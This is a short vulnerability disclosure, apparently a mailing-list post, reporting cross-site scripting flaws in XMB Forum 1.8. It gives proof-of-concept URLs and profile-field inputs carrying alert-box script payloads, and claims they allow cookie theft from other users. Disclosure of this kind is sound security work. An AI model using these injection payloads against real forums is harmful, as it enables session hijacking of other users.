Many XSS Vulnerabilities in XMB Forum.

Program Name : XMB Forum

AffectedVersion : 1.8 Partagium (may be the newest version)

Home Page : http://www.xmbforum.com

Author : Knight Commander (at hackervn.net)

+Vul:

In this link:

http://pathto/XMBforum/member.php?action=viewpro&member=admin<script&
gt;alert

('XSS')</script>

and

http://pathto/XMBforum/buddy.php?action=<script>alert('XSS')

</script>&buddy=<script>alert('XSS')</script>

or in your profiles:

just fill in MSN and Current Mood 's text box: <script>alert('XSS')

</script>

when the others view your profiles, their cookies will be stolen.

Solution:

Vendor was contacted.The new version will be released soon.

Regards!

email: knight4vn (at) yahoo (dot) com [email concealed]

[ reply ]